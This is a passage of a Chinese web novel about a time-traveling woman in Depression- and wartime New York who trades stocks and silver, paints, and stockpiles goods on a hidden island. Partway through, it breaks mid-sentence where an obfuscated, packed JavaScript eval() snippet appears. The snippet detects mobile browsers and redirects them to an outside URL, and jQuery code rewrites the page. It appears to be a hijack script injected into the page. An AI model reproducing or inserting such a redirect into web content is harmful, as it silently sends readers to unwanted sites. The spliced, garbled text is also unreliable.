天气渐热。祸不单行的是,干旱和虫害让很多土地血本无归,纽约涌入了大量交不起税的农民和小农场主来找活路。苏茜基本只在附近几条大街上走,店铺也宁愿买贵的、好的,而不去市场、棚户区和二手市场。不是她怕事,而是外头无家可归的人那么多,几乎没有无人小巷,没法随便换装、上厕所和干掉坏蛋。 报纸和银行业开始出现关门停业情况。苏茜的银行一百年后仍然存在,所以看到银行外排队的人群并不担心。最坏也就是没有利息,比大笔现金放岛上方便。 “今年夏天怎么那么热!”一位二十出头的女士扇着扇子打开房门。 现在可没有冷气,当温度超过了华氏85度,人就会不舒服。苏茜拿着长裙被套床单从洗衣房回房间,反锁门,回岛上。 岛上石屋门口的阴凉处华氏80度,屋内和阳光下高些。天气难得晴好,正是晾晒的好时间。当岛上的天空开始阴沉、酝酿雨水时,被套和棉裙都干得差不多了。 她才不会浪费钱买时髦昂贵的化纤和丝绸裙子。 下午的纽约更热了,远处建筑物的线条都似乎有些模糊扭曲。苏茜却在岛上听着雨声,躺在草席上、搭着被套睡午觉。 …… 房价降了点,房租没怎么变。进口粮食的价格因为各种原因比国内农场的高,顺便说一句,本国产的粮食价格比其他国家的高。唯一能感觉到下降的是一部分本国产的工业品,进口的可是价格高企。本地乳制品略降了一点,但苏茜买的那一款并没有降价。 失业率每个月都在上升,尤其是总.统下令不得降薪,那么只有找各种理由减少没那么重要的员工、甚至公司破产来减少损失。加上各国都提高了关税,工厂成品出口困难,而国内消费力下降,裁员乃至关门的工厂、商店更多了。 对百万计的饥饿民众,苏茜只想说:请去大洋彼岸看看什么叫饥饿,什么叫饿殍。 她对抗议的一战老兵表示同情,但肯定不会加入,因为向这些老兵开木仓的指挥官是后来的那位巴顿。她现在只关心要买入多少无线电公司的股票。现在的价格是三块多。想到接下来还要两样贵金属可以交易,她犹豫再三,“只”买了一万股。相当于自己交的个税。 “女士,你的这笔交易使我免于失业。”还是那位交易员。 “你没有破产才是最大的幸运不是吗?”苏茜微笑着签字。 “哦,是的是的。幸好我及时离场。”他还住在原来小小出租屋,却将新买的房子出租。虽然租金颇低,但也够他付房租和吃饭了。交易员的收入可以用来维持体面的服装,也因此他最近正在犹豫要不要接近一位很有好感的女士——以缔结婚约为前提交往。 买了股票,接下来是银块。她的黄金很多,而且过几年平民被要求不准持有金币金块,结果大家老老实实用二十几块的低价卖掉黄金后,第二年黄金却大幅提价!坑自己普通民众这种事,这个国家做得非常顺手。所以为庆祝新的总.统当选,那位百年后依旧大名鼎鼎的先生,在一张支票付掉一整年单人间的房租后,她花掉了绝大部分的账户数字,十分地有诚意。 56.大饭店不大(三) 收音机里和报纸上的报道和照片触目惊心。沙尘暴令农田成为荒原。本来就经济凋敝的城市里不可能容纳那么多农民,因此他们不得不西迁并且死在路上。这让苏茜想起来胡兵杀掠并且导致的南渡——大概是现在死亡数字的百倍。所以她很快压下同情心。对门平时很高调的银行家的侄女现在已经离开纽约,这类“悲惨经历”不能让她有丁点动容。 “苏茜,我发觉自己可能缺乏同情心。”安娜几乎戒了烟,她的稿酬降了一半,利息收益也少了,因此搬去了单间。 “你我也就是保证自己不跳楼,没有能力让沙尘暴不再泛滥,让雨水降临干旱的土地。”为了“合群”,苏茜已经退掉小套房住到九楼较大些的单人房间,还要如何?! “哦!我被安慰到了。”安娜握了握拳,逛街找灵感去了。 “多穿点,晚上降温。” “没事,我傍晚前就回来。” 天气预报很准。情况也很糟。今年2月份特别冷,居然降到华氏零下10度!很多人甚至刻意去小偷小摸,打定主意即使被抓住也能去警察局吃点东西、暖和几天。 单人间只要关上门窗,比小套房更暖和些。但白天时不时出现嘈杂声,比如反.犹活动,让苏茜不得不躲到岛上。新总.统上任后做了不少事情,股市已经从谷底慢慢回落,流浪汉大概因为死了太多显得少了点,更多的穷人去做工程赚点力气钱糊口——其中还有上一任留下的大工程——几十万带着孩子的母亲被抛弃在没有交房租甚至被卖掉的房子里,只能用各种法子谋生,私人慈善事业更加兴起。 “我们无法领养那些可怜的孩子,但至少可以给他们提供隔夜面包。”楼上一位积极的女士如此道。 她做了两周送面包到流浪儿童聚集地的活动,但是在被一个孩子的父亲殴打抢劫后就再也不提这事了。 苏茜也是为这个项目捐过几块钱的,现在当然赞成终止自己搞什么活动。“我们只要管好自己,足额交税就行了。很多事情必须由政府来做,或者跟警方或是军方有合作。一千个可怜人里可能不止一个混蛋。”关键是,去做慈善的几位女士都是“淑女”,被打劫时只会尖叫哭泣等着绅士们来搭救,也没有想到反抗或报警,嫌疑人都没去警局一游——这让不知道干掉或打跑多少抢劫犯的苏茜十分无语。 在金价、银价上浮,并且华尔街之狼“让贼去捉贼”地去管理证监会后,苏茜将前期买的白银都卖掉了。买入价和卖出价当然是不一样的,但她卖掉后能赚不少也是真的,何况那么多氧化后处理过的银。就是税交的有些让人心脏不适。 是时候重新拿起画笔了,不然在以后美刀贬值的情况下是撑不到下一次投资机会的。 哦,再去下交易所,还是那位坚持到现在没有失业也没有跳楼的交易员,5块钱卖掉无线电公司股票,买入可口可乐、万宝路和波音的股票,让自己的账户再次回到区区五位数。 清单上还要买水果、坚果、麦粉、大米、橡木、优质煤,以及调味、料酒等等。禁酒令结束了,可以买到价格高但质量很好的进口料酒。 煤和木头这种东西她不可能送到公寓楼,包括整坛子的料酒,都是租一个月的仓库收货后在岛上囤着。 在温度最舒适的秋季,苏茜开始画秋天。秋天的稀树草原与牛马,温带山林与动物,奔腾黄河与船只,旖旎园林与美女。美女穿的是长袖提花改良旗袍,耳上绿翡翠,手中檀香扇,细高跟鞋踩在石板道上仿佛能听到优雅的回响,她在欣赏各色盛开的菊花。 从初秋开始,一直画到冬天。燃烧的煤块和木头让石屋内温暖如春,一直没装上的门窗不仅维持氧气和自然光,还给烧火的房间带来足够的湿度,并且绝对没有一氧化碳中毒的风险。另外,颜料的气味在这样的通风之下不再是问题。 大富翁游戏成为二楼休息层最流行的游戏,各个年龄层的女士都在玩,超越了其他牌类。 苏茜没空,也没兴趣。游泳练武修炼冥想画画做饭,剩下的一点时间洗衣睡觉,一点没有多余的。 餐厅的沙拉一如既往的一言难尽,不过好在种类多,所以苏茜买了一大份拿回去和鸡腿粉丝一起煮了吃。居然有冷冻鸡腿和牛腩卖了,真是可喜可贺,不然她一个人不可能一天吃掉一只鸡或一磅牛肉。但如果碰到不错的肉,她还是会放冰箱的。肉干是无可奈何的做法,费时费力。另外,可口可乐冷藏了喝很不错,她都用来招待难得过来串门的邻居们。 “我买了可口可乐的股票。干脆饮料就买这牌子。”她对同样没有结婚和搬走的安娜道。她们现在已经是年轻新住客眼里的没前途老女人——其实苏茜的年纪并不比她们大多少,甚至脸蛋也光洁无瑕疵,平时最多只抹点口红,但拒绝睫毛膏腮红粉饼和时装香水,出门居然还带银胶晴雨伞,因此在女郎们的眼里显得十分老气。 “哦,我买了钢铁公司的。”安娜皱眉,“但最近情况好像还不错。” “估计会一直不错。你不觉得欧洲很不对吗?更不要说亚洲已经打起来了。” “亚洲?”谁关心殖民地啊。“你说法国?他们除了葡萄酒和时装,还有香水化妆品,好像没什么?” “我是说德国。”那个疯子已经执政了,战争正在迫近。 “反.犹.太人吗?我也不喜欢他们。”安娜耸耸肩。当然她不是纳.粹支持者,更不会参与反。犹活动。 “……我是说,欧洲可能再次爆发大战。所以你买钢铁公司的股票不会错。”看来反智主义一直都有市场,这都什么鸡同鸭讲。“钢铁可以用来造武.器和战船。”求求了,别出现什么战舰是用钢铁造的吗这种话了,好歹安娜是高中毕业的。 “啊!会打到纽约吗?”安娜瞪大了眼睛。“之前还说大炮能从欧洲攻击纽约,我吓了好大一跳,担心了好几天。” “……不会打到纽约的。”苏茜决定不跟这位女士谈论需要大脑的事情。“所以我买了可乐和香烟的股票。说不定很多有钱的欧洲人来避难,会让房地产涨一些。” “你打算买房?” “不打算。我既不想一个人住在一栋乡村房子里,也不想艰难地要求一家家租客及时付房租。我看见报纸上登了,有拒绝付房租而殴打房东的租客。”未来还有亚裔的房子被瘾君子强占,去收租居然被打死却无人受惩罚的事。 “确实,如果没有一个团队,我一个人也不敢当房东。”安娜只是中产小富的单身女性,会面临很多困难。但现在结婚真的不是个好选择,带走妻子财产并且抛弃家庭的男人没有二十万也有十万,而如果她碰到这种货色,她家人只会骂她没用并让她滚去睡大街——因为股灾后她拒绝将自己的全部财产拿出来偿还哥哥的一部分债务,现在两家已经断交。“对了,我的稿费重新回到两块钱,看来经济情况好转不少。” 安娜很快忘了战争不战争的话题,这个世界每天都在打仗不是吗?只要别影响到她,随便怎么打都行。 而苏茜,跟那些每天只想着混进哪个宴会结识有钱人的同龄人,真的无话可说;可跟年长些的、认为淑女不应该讨论工作和钱的中产女士们,同样没有任何共同语言;与“艺术家”们,其实她只是胜在见多识广,艺术造诣并不高,说多了露馅。这些因素导致她在这栋楼里十分边缘。但也符合她绘画者身份人设。 …… “苏茜,亲爱的,不得不承认这次你的作品很受欢迎!”经纪人女士时隔三个月,递过来一张四位数的支票。终于,油画恢复成生意而非面包都吃不起的悲惨故事。就是吧,别嫌弃少,啊哈哈哈。 “来瓶冰镇可乐……艾伦,我觉得应该是经济好转了的关系。我之前几年都不敢画,就怕赚不回颜料钱。”她本来就跟淑女这个名词无关,毫不避讳地在社交场合明明白白谈钱。何况,她这是三小一大四幅画,明年交税后净收入可能不到一千,绝对是低价——这时她忽略了交税多的原因是资本利得怪不错的——要不是自己刻意选择便宜的化学颜料,能赔掉老本。 “现在确实好多了!我也很庆幸自己能坚持到现在。”她的两个儿子现在靠她的收入在私立学校读书,因此必须拼搏。要不是很多女性艺术家更喜欢与女经纪人打交道,她早就失业了。 “我下一个系列的主题打算用战争题材,也许不那么受欢迎……风景画以及东方风情是不会放弃的。”除了关注国际市场的企业家,没多少人在意欧洲乱糟糟的情况和亚洲让人窒息的战局。 会客室里聊了二十分钟,艾伦还干掉一小盘苏茜自己烤的黄油小饼干。两个人愉快道别。 艾伦去楼上另一位艺术家那里拿画作,苏茜下楼去买牛仔裤。 从这种耐磨帆布面料面市到现在,终于开始被曼哈顿的部分女士接受。苏茜迫不及待地倒了两趟车来到新开的店里,试穿合适一款就买齐各种颜色,最后居然买了一打牛仔裤和三件外套,其中还包括过于“前卫”的背带裤,一百多块花出去。 女店员非常殷勤地帮忙叫了出租车——两方都得给个小费是吧,一个帮着叫车搬袋子,一个帮着拎袋子进大楼。行吧,她经常出现“大采购”的情况,就是被人看到的机会不多。 “牛仔裤?帆布长裤?”邻居尤莉亚女士的眼珠子都快凸出来了。不过作为赶时髦的女士,尽管她不能接受裤子,但长裤总比短裤好是吧,更比穿着内衣拍海报强些。 “牛仔布铆钉扣卷边九分裤,还有宽松磨毛飞行款夹克,加上不怕颜料的蓝色背带裤——样式难看,但比皮围裙好些,太脏了就扔掉换一条。” “呃,听上去不错。”因为大萧条而财产严重缩水、不得不卖掉豪宅住进公寓的寡妇尤莉亚女士是她侧对门的邻居。但她自认为死都不会穿如此不体面的长裤。 但苏茜并没有在大楼里穿着牛仔裤晃来晃去,最多牛仔裤搭配宽松毛衣去餐厅外带两份蔬菜沙拉和半熟牛排回去再加工。公寓里没有明火设备——不然无法造公寓大楼——但人人都知道她有电冰箱和电烤箱。 报纸上的国际消息远不如明星的疑似婚讯版面多。在一场“和平的演讲”之后没多久,有德军进入了“永久军事区”莱茵兰,大部分报纸都没报道。 当然,之后最让媒体疯狂的要属爱美国美人不爱英国江山的英王,加班加点的编撰各种读者们可能感兴趣的故事 “……我相信鲍德温爵士会妥善处理德国事务的。”一个高大帅气却留着电影明星式小胡子的年轻人向女士们解释战争不会发生,完全不会。 苏茜实在听不下去,尿遁了。 这个国家和英国一样,有大量亲纳.粹人士和派别,让她有股子拿起德制半自动冲过去突突突的冲动。 于是她去店里买了支勃朗宁和一堆子弹,可拆卸的那种,以及保养工具。这个时候抑制器已经要征收超级高价税,她不想惹来注意。黑涩会将会越来越猖獗,女士们得自我保护不是吗?以及,买了把现代小型弓和配套钢箭,回岛上找手感去。 一位年纪确实大了的住单间的女士突然心脏病发作过世,没有律师、没有遗嘱。本来这种事情往往有深色势力介入,但现在社会救济体系建立几年了,管理员和经理还真不敢做得太过,所以最后市政下属的什么机构联系了报社、银行,在教堂公墓下葬后,拒绝掉拿不出证据的一堆“亲属”的继承申请,最后这位女士的几千块存款和衣物,扣掉下葬费用都作为捐赠。 苏茜决定,维持一定数额可以开支票的银行资产就好,真的不用太多,不然便宜了叔婶那一家子她会气死的! 至于股票,那是养老金不是吗?!自己怎么着也能活到贵金属货币挂钩的体系崩溃后,那么在黄金大涨之前买了放岛上是最适合的。 哦,还有白银!发黑的银块用硝酸处理后,都在前段时间一起卖掉,现在趁着价格下降,重新去银行买入一些包装严密的崭新白银块,并且拒绝了银行的保险柜服务。过段时间看看价格继续购入,另外还可以买些没那么设计感的首饰和金线之类,以后人工钻石面市同样值得收藏,以后不知道什么时候就会用到。她作为女子爵的时候,除了金币和金属武器,还额外收藏了满满一个抽屉柜的金饰宝石——活得相当久的她几乎没有留下遗产给关系冷淡的侄孙们,不知道身后那些人会干出来什么。 【年轻的纳.粹冲锋队员乘车在街道四周游荡。他们乘着军用卡车、各种型号的装甲车,唱着歌,向人群投扔桔子皮。几乎所有的重要的大楼都设有武装警卫,包括我现在临时广播的这座楼房。整个城市有一种断定要发生某种事情的迹象,每个人都在等待着,想知道希.特.勒在什么地方,什么时候会到达这里。】 奥地利并入了轴心国。 这个时候,应该是台儿庄战役吧? 苏茜时不时打开窗,在房间里用酒精灯虹吸壶煮茶,然后听欧洲的广播,听总.统的讲话,各种语言。 然后画草图。 战争,她了解得太清楚了,冷武、热武、核武,各种死亡的方式和各个时期的尸.体…… 首先是远东战场,连德意志都说他们的日本盟友在南京刀砍、油烧、活埋、剥皮以及当街强.暴太血腥简单野蛮了,所以无论发挥什么想象力都可以。 然后就是冷武器时代,相信欧洲还记得干掉罗马帝国的日耳曼哥特、阿兰、匈人联合蛮族,而哥特与匈人的不对付也得体现出来。 接着她是女子爵时亲历过的海战也可以塞进来。 最后,是伏尔加格勒废墟,不过没有出现小孩雕塑等标志性特征。 画完断壁残垣后,捷克斯洛伐克已经被几个无耻至极的大国当祭品牺牲掉了。而民众通过收音机里的现场翻译,明明白白了解到大西洋对岸的那位“爱好和平”的领袖有多可怕。 让这个可怕的强人和东边那个同样可怕的去互殴就行了。这是很多人、上层下层的普遍想法,至于两个可怕中间的那些“仆从”小国……与他们有什么关系!不得不承认,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197048|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分人都不想去跟700万疯狂的军队打仗——没人想死。 是啊,连她自己也宁愿当个平民狙击手,而不是战场上的炮灰。 * * * 《慕尼黑协定》是个极度恶心的杰作,将大国不把小国当人类的思维方式摊到阳光下——他们跟纳.粹也没多大区别,让几百万人去死跟杀掉几百万只猪一样,就是杀戮起来稍微不那么简单野蛮罢了。 是的,希总.理是往东去了,但他的《宣言》让还在绥靖的上层老爷们心里打鼓。 苏茜知道马上德方会发起苏德互不侵犯条约,就在希总.理再一次严正声明与苏维埃不死不休以获得绥靖之后不久。但这个时候法国的“前线”士兵是可以休假回来逛青楼的。另外,“宣而不战”也将成为这次大战的奇景。 总之,这一场大战比前一场精彩纷呈多了。 今年的夏季挺热的,苏茜为了听广播不得不忍受没有空调的炎热。她已经一年多不去大会客厅听一群白痴夸夸其谈。不过他们有一点说的是真的,战争打不到纽约,因为伦敦在华盛顿的帮助下扛住了没有步巴黎的后尘。 第二个倒霉蛋是被两面夹击的波兰。 听到消息的苏茜带着草帽和雨衣去海上捕鱼了半天,回来处理海鲜,并且制作海鲜蔬菜土豆泥配奶茶,晚饭则是奶油蘑菇鱼汤配电烤箱烤的硬麦面包。火塘上方的鱼虾肉在慢烤下逐渐脱水、成为可以存放一段时间的鱼干虾干,她的心情也逐渐平静。 纽约下雪的时候,苏茜傻里巴叽地穿着最新款羽绒服步行去河边赏雪。要不是身体素质过硬,早就摔进河里或者重感冒。 不过回来以后,她一口气画了三幅纽约的冬天,其中一幅还像是模糊了背景的运动照片。 “亲爱的,你的画风真的是多变。”女经纪人艾伦深吸一口气。这次苏茜除了伏尔加格勒,其他的总共六幅画一口气拿出来,看得艾伦目瞪口呆,每一幅风格都不相同。 “心情吧。之前一直纠结于战争,后来想开了,及时行乐就好。”比如那位拎着购物袋在雪中开心地原地转圈、穿牛仔裤大衣戴暖帽的时髦女郎,就是苏茜亲眼看到的。 “这倒是!”艾伦一边纠结着要如何介绍和标价以及推销,一边计算着这笔佣金不会太少。 事实上这次走极端的风格居然反响不错,尤其是苏茜稍微有了点名气,所以最后净收入“高达”三千,对名气不大的女画家算是中等收入,但不够在奢侈品店里买条碎钻项链——反正她对这种“品牌”无感,这些玩意能跟苏拉尔女大公送她的祭司头冠比吗?还是跟一对顶级羊脂玉龙凤佩比?更不要说再贵的衣服也没法在两百年后穿! 还有书,这里的“外语书”不多,她已经将图书室里的外语书全部看完,现在干脆去书店买了好几种语言的词典帮助回忆和记忆,甚至还找到本竖版论语。 对了,之前一些后世找不到的书籍的纸张已经快不行了,需要抄写下来。此外,下一个系列她打算画新国的风景,高山草原峡湾海滨……可以入画的素材太多了。 年轻情侣们刻意去踩踏人行道边有些脏的积雪,购物闲逛的男女力持优雅地注意鞋面别被雪会掉,匆忙来往的办事送货人员能不撞到路灯就是眼观六路了,出租车和私家汽车路过不太宽敞的市区街道时表面上显示出颇有礼貌的样子…… 这是最后一个轻松的圣诞假期了吧?因为出口和公共支出的增加,基本摆脱了股灾和沙尘暴的影响,加上各种单价不算高的娱乐活动、酒精乃至药物的助兴,至少在曼哈顿看上去已经恢复了往日的繁华。死去的人就不要去提了,大家会装作没这回事。 公寓里涌进一批新的年轻女郎,除了还有些工作室没满,基本上房间都住满了热情洋溢、裙子略短的姑娘,有的想钓金龟婿,有的要去念大学,有的升职后来找新住处。由于苏茜有时会一身牛仔服出现在餐厅,又是个“画家”,倒是没几个人说她是过气老女人。 羽绒服、牛仔裤和短靴,真是下雪天的必备,配合皮手套、暖帽和伞,以及冬天一点不觉得油腻的山茶油和两块钱一支的口红。 不同牌子档次的口红从没降过价,甚至经济不景气的时候卖得更好。大家总想用鲜妍的颜色挽回些什么。 哦,还有雪天敞着皮草光着腿的时髦女子,嘴唇冻得发紫使得口红的颜色显得有些奇怪。 雪天的夜间,远处的灯光显出城市的天际线,萧索与繁华同框。苏茜刻意没回去公寓,而是直接住岛上,第二天回去画草稿。 这幅画名叫战前。 她可以每年来画一幅。 …… 比利时的战斗坚持得还算久,毫无纵深可言的地方撑了好几天,比他们的邻居短短四天就结束可惨烈多了。 “他们应该庆幸不是被日军占领和屠杀,被血淋淋的屠杀和集体强.暴。”苏茜冷淡地回答,“下一个,女士们先生们,下一个,就是法国,巴黎。比利时完美地绕过了愚蠢的马奇诺防线。所以赶紧囤货吧,法国货马上要断供了,接着英国货也估计不行了吧。除了意大利货大概整个欧洲都要断供了。对了,我要去多买些希腊橄榄油,但愿战争结束的时候希腊人没有都饿死或被杀光。” 这个白痴打算挑她这个“那种女人”来显示自己有多智慧,那么就要做好挨揍的准备。 “啊,你是说,法国?怎么可能!”那可是法兰西!这女的脑子坏了吗? “对,那些没用的法国男人。顺便说一句,钱伯伦这样的绥靖高官可以滚蛋了!”苏茜挥了挥拳头,拎着手袋真的去杂货店买了一大堆希腊产橄榄油、葡萄酒和其他东西包括香皂和精油,上下楼三回才将东西都提走。 没多久,敦刻尔克撤退以及船只被击沉的惨烈照片开始出现在报纸上。人们开始意识到,战争距离自己没那么遥远:如果法国败了,下一个就是英国;如果英国顶不住……那么他们国家难道要跟一整个欧洲打? 大家压根不关心英国又换了个首相,只担心物价和未来有没有可能被战火波及的问题,比如说他们会不会参战?会不会自己或家人入伍最后死在欧洲? 于是反对参战的情绪突然间升到最高。 苏茜没有表达过是否应该参战的意见,只是面无表情地骂马奇诺防线是未阉.割的公猪脑袋想出来的。 巴黎第三次被普鲁士人占领。 大西洋对岸的普通民众,尤其是女士们不知道该说什么。也有喜欢演讲的在那里滔滔不绝,但除了少数吃饱了没事干的闺蜜之外没人听她们说些不知所谓的东西。至于男人们,不管是议员政客还是教授评论员,大家讲的也都是不知所谓的东西。 直到新首相,那位□□、反工会、反纳.粹、不把殖民地当人的贵族后裔,讲出著名的口号: 【我们永不投降】 很多英国移民后裔去参加英国皇家空军。隔着海峡,两边开始拼中程轰.炸机。 平民的伤亡越发可怕。 57.大饭店不大(四) “如果我们不投降,会不会也被轰.炸?”一位女士忧心忡忡。 “亲爱的,德国没有远程轰.炸机,飞不到我们这里。”她的邻居边研究指甲,边没什么诚意地安慰着。 不,他们不仅即将造出原型机,还差点就实现潜艇导弹,可惜没法最终实现。苏茜路过时听了一耳朵,没多说什么。除了渝城、金陵、伏尔加格勒和彼得堡,她基本不会有什么情绪。 其他同龄和年长的也不大找她来谈论实事,因为她曾经说法国会完蛋,绥靖的首相会滚蛋,措辞极为……不淑女。 年轻的、打扮时髦的女孩子们谈论的是,如果现在参加护士培训,会不会更好地找个军官男友——现在的女孩子工作收入那么高?这栋楼每周最低房租是10块,而且是窄单人床、无法合租分摊房租。现在又能有多少周薪20以上、适合女性的工作?普通护士可没那么高,这是本末倒置吧。不过楼里确实有退了房间去当军中女秘书,即女副官的,但女通信兵、女飞行员、女护士之类岗位的倒没听说。 至于男士,反正她不去一楼大厅和楼顶的大会客厅,不会碰到主动找骂的家伙。 手头几支股票的波动挺稳定且有上升趋势,苏茜打算等到战后再说。 现在,继续囤点可以放几年的东西,比如唐人街店铺里的库存。她甚至买了两身库存桑蚕丝睡衣裤,因为放得太久颜色都有些变化,两套才两块钱。食品、药材之类要么打折卖光了要么已经霉变扔掉,但比如陈皮、丝巾、扇子等等是不怕放的。另外像是少了几本的史书、蒙学版的字帖和笔墨纸砚之类,花十块可以带走一箱,便宜得要死。 店主以为这位能讲些汉语的白人女士买这些东西纯属装点门面,干脆将差点要当废品从仓库里清理掉的东西都搬来给她看,还免费送货上门。于是苏茜自己也不知道怎么回事,在这家店里消费了上百块! 最后她连同一大推的货和店家“优惠”卡片被店主的堂兄开车送到公寓,司机还兼搬运工,帮着码放到公寓管理员借的推车上,才非常客气地道别。 “那个是日本人吗?”同楼层的邻居好奇地问。 “不,中国人,他们鞠躬没有90度,但不像日本人那样周全地很冷淡,而是普遍比较爽朗。” “爽朗?!” “对,我买了一百多块的东西,所以,我是说他们的态度让人很舒服又不会过度礼貌。” “哦,他们不留辫子吗?” “1911年以后就剪掉了。辫子是满族统治期间的特殊发型。之前他们男女都是长发和长袍,宽宽的袖子,将头发固定在头顶不披散。” “男人长发?好像古代欧洲也是!” “是的。比如古代哥特人,就是日耳曼人的一支,他们都是披着头发,留着胡子,寿命不超过40岁,但他们灭掉了罗马帝国。但在4000年前的中国,成年男人和女人在公共场合披散头发是非常不礼貌的行为。” “……哦!” 两人在苏茜房间门口结束聊天。开门,放东西,下楼还推车。东西大多放岛上,苏茜一边画画,空了翻书,尽量记得大概和时间顺序。后来印刷的史书虽然仍然是繁体并且从右到左,且完全没有标注公元多少年,但总算是出现了句读,看起来方便得多。 还有就是字帖,呃,自己买这玩意干嘛啊!天知道也许八百年后才用得上。 自己还有不少不错的砚台呢,堆在箱子生灰,都没放进防尘阵。 战争期间卖不出几幅画,不如练练毛笔字,构思一幅牡丹园中的唐朝美人,再加一幅宫殿中的婆罗门舞? 当她堪堪重新找到毛笔字的手感、写出来不再乱七八糟时,东线开战。 今年冬天,不再有一个叫苏珊娜-米哈伊尔洛夫娜-齐明娜的平民小姑娘拿着莫辛纳甘,每次开两木仓、当个业余狙击手…… 拿出来那枚保卫战役勋章,苏茜摩挲了半晌再重新放好。 杂货店里没有伏特加。苏茜顺手买了一瓶便宜的白兰地,又不喜欢酒精——主要是怕情绪波动太大加酒精导致无谓的生命危险——干脆拿个勺子放块方糖,白兰地浇在糖块上,点燃后一股脑倒进咖啡,再加点牛奶,弄一杯酒香焦糖风味咖啡。喝了几口觉得没多少酒精味,干脆直接加入白兰地到满杯。这回有点喝酒的感觉了。她又冲了些可可,倒进去,再加满白兰地、再加咖啡牛奶。 干掉了至少四两度数不低的白兰地,苏茜才感觉稍微好些。 之后生活还要继续。每天的游泳和练武修炼冥想,偶然餐厅里吃顿饭,画画写字看书。顺便说一句,各种各样安全好用的卫生巾和棉条真是本世纪最伟大的发明之一,经期完全不妨碍练武。可惜这玩意无法放置几十年,比卫生纸更不经放。 * * * 别管是不是阴谋,珍珠港被袭击了是真实的,宣战是真实的。 打仗也是真实的,可不是宣而不战这种奇葩事件。 出来工作养家的女性更多了,但这对很多主妇不是好事,因为她们又要工作又要做家务还要带孩子,完全无法兼顾——幸而这个时期要求儿童必须有人监护执行地不太严,不然上战场的男人哪怕是活着回来,也会面临家破人走的悲剧。 流浪汉不多了,治安似乎也好了些。年轻人们都去了战场。 也许等他们回来,会面临没有工作还患有创伤后应激心理障碍,流浪汉会堪比大萧条的时候,但首先他们得活着回来。 苏茜在援助军人患病家属的捐助箱里塞了张二十块的大钞,完全不去关心被集中关起来的“无辜”日裔——看看中国战场无辜平民的鲜血,他们的待遇好几百倍。自己能做的也就是这些了。这个国家在参战后确实援助了别人不少东西,至少她就曾经在两处战场吃到过北美产的罐头。即使以后会讨要货款,但当缺少一切物资的时候,任何能吃能用能打的都是好的。 报纸上说端掉了一个大型的轴心国间谍组织。 “苏茜,你认为那些被关押的日裔有错吗?”一名“义愤填膺”的女士突然转了木仓口。 “我只知道他们中很可能有间谍,以及,很可能一名不是间谍的日裔会在日本潜艇接近的时候为他们指路。”看来这些男女从来没有汲取过教训。“还有,你猜,现在会不会有日本潜艇正在接近?或者有其他间谍想炸毁纽约?” “……” “我建议大家不要轻易外出,少去市政、军事,以及人群聚集的地方。也许反战人士会对着人群扫射,或是间谍投掷炸.弹,谁也不知道会碰到什么事。”本国还盛产神经病,尤其是未来实际没有死刑后,杀人如麻照样过几年出来继续杀人,而胆敢反抗杀人犯的受害人却有可能死在牢里……想想都无语。 苏茜翻着白眼走了。留下一帮子不知道说什么的女士:纽约会被袭击吗?会吗?谁也不知道! 一个混乱的圣诞新年假期后,没多久,本土真的受到日本潜艇的袭击。搞得西海岸甚至东海岸都人心惶惶,再也没有白痴为日裔受到的“不公正待遇”而演讲抗议。但德裔倒是什么事也没有,他们中很多已经移民几代人,而且不少青年加入反法西斯军队上了战场。确切的说,这场战争两边将领都是广义的德意志后裔,大家比拼的不是军事能力和战斗意志,而是后勤实力。 这之后,每隔几个月就会有本土遭到炮击的消息,比每天战事的报道更加戳人神经。 “可怜的莉莉安!” “她的弟弟阵亡了,哥哥仍然在军队里。” 没几天,全楼上下目送这位姑娘提着行李回老家。 第一年,只有一位住客成为阵亡战士家属,第二年又有一位住客的侄子阵亡。第三年,一位住客的军官叔父阵亡。 城市里的娱乐活动明显少了,很多家庭都有成员在战场,阵亡名单越来越长,亲属也越发焦虑。 烟草、酒类、娱乐行业的收入持续增加,电影明星也越来越美貌。苏茜就看到了好几张著名的绝色明星电影海报——几十年后她们的名字依然是电影界的传奇。 扭头,回去练字。经典电影她大多看过或知道,还是不浪费时间和钱了。 远一些的街区,早已经规划好的立体停车场建成,围观的人不多,包括苏茜。这玩意这么早就出现了吗?她犹豫了会儿,转去电器行、建材行,结果在比较偏的工具店里问到确实有电锯、户外电灯、柴油发电机、瓦斯炉等等,就是很土,尤其是发电机需要手摇启动。 苏茜想起来自己岛上那棵最高的、砍了一小半的火灵木,还有雨天昏暗还需要蜡烛照明的石屋,现金买了一堆工具,让出租车司机在一个转角的地址放她下来,然后利用车身、建筑和角度,极快地将发电机和电锯放岛上,拎了一堆东西回公寓。司机直接开走,都没多看一眼。 店里时就加了柴油“测试”过,回岛上直接拎到树下,用折叠梯子爬上去,“仅仅”用了四十分钟就将最高的那棵火灵木上半部端锯掉了。以苏茜的体能居然能在冬天只穿毛衣单裤照样累得满头大汗,可见这木头的硬度。 下回锯其他两棵特别高的树。 她回来后继续用电锯将锯下的树干和枝丫切割成可以烧十个小时的大小,多余叶子则与厨余、煤渣、木灰等一起用来维持岛上土壤。 有了电灯,石屋里的光线、通风和温湿度再舒服不过,不需要在散味和手不会冻僵之间艰难选择开窗还是关窗画画。 只要不是真正贫寒,冬天的纽约比夏季干净安全些,地铁里小巷中的异味被冷风吹散了大半,偷盗抢夺的也少了不少。唯一不好的是看不见雪下的狗屎,苏茜亲眼看见一位女士的漂亮高跟鞋踩上了一坨而气得原地大骂。哦,她自己也踩过,好在是厚底靴,在路边有些脏的积雪里洗洗,回去岛上再刷刷,地板倒是有房间服务来解决。她特意不要铺地毯的单间,就是为了避免无法经常清洗消毒地毯。 石屋里因为进进出出的场景复杂而同样不用地毯。今天早上岛上难得出太阳,苏茜赶紧将东西都晾晒出去,而且一直盯着云层,就怕什么时候突然下雨。现在可没有便宜好用的紫外线灯,要不去药店问问有没有医用消毒液什么的。 还真的有。 那略带刺激气味的消毒液,加上还有开水这样传统利器,只要不是病毒或难缠的细菌,基本上吃的用的都能解决。苏茜觉得自己这次也许能活到八十多,还可以炒一波贵金属。 …… 